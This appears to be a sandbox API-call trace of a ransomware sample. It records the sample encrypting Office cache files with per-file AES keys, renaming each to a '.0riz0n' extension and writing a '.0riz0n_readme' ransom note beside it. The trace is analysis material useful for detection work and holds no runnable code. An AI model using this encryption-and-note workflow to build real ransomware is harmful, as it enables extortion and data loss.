1 [0078.808] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0078.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.808] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0078.809] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf2bd90c0, dwHighDateTime=0x1d301be)) returned 1 [0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.809] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0078.809] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0078.809] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.809] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0078.809] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.809] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0078.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0078.810] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x5b2, lpOverlapped=0x0) returned 1 [0078.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xef94d8 [0078.811] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0078.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0078.811] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.811] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0078.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x9c0) returned 0x1acf180 [0078.811] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5b2, dwBufLen=0x9b2 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5c0) returned 1 [0078.811] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0078.811] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.811] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x5b2, lpOverlapped=0x0) returned 1 [0078.812] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.815] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.815] NtClose (Handle=0x1f0) returned 0x0 [0078.816] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.0riz0n")) returned 1 [0078.816] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0078.816] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0078.816] GetLastError () returned 0x2 [0078.816] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed68a8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0078.816] GetLastError () returned 0x2 [0078.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.817] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.817] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0078.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x1baf768 [0078.818] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f5, lpOverlapped=0x0) returned 1 [0078.818] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43a66e70, dwHighDateTime=0x1d59598)) returned 1 [0078.818] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.818] NtClose (Handle=0x1f0) returned 0x0 [0078.819] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0078.819] CryptDestroyKey (hKey=0x459b38) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.819] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0078.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0078.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0078.820] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0078.820] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.821] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.821] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0078.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.821] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.821] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0078.821] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc138cb0, dwHighDateTime=0x1d301be)) returned 1 [0078.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.821] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0078.822] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0078.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.822] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0078.822] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.822] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0078.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5600) returned 0x2350020 [0078.822] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xd5600, lpOverlapped=0x0) returned 1 [0078.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5600) returned 0x2430020 [0078.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0078.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5600) returned 0x2350020 [0078.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.872] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430020*, pdwDataLen=0x17af858*=0xd5600, dwBufLen=0xd5a00 | out: pbData=0x2430020*, pdwDataLen=0x17af858*=0xd5610) returned 1 [0078.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5640) returned 0x2510020 [0078.894] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.894] WriteFile (in: hFile=0x1f0, lpBuffer=0x2510020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2510020*, lpNumberOfBytesWritten=0x17af85c*=0xd5600, lpOverlapped=0x0) returned 1 [0078.896] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.902] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.902] NtClose (Handle=0x1f0) returned 0x0 [0078.907] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.0riz0n")) returned 1 [0078.908] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0078.908] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0078.908] GetLastError () returned 0x2 [0078.908] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed68c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0078.909] GetLastError () returned 0x2 [0078.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.909] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.909] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0078.910] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0078.910] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43b4b6b0, dwHighDateTime=0x1d59598)) returned 1 [0078.910] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.910] NtClose (Handle=0x1f0) returned 0x0 [0078.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0078.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0078.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0078.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2510020) returned 1 [0078.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0078.915] CryptDestroyKey (hKey=0x459b38) returned 1 [0078.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0078.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.915] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0078.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0078.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0078.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0078.915] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.916] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.916] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0078.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.916] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.916] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 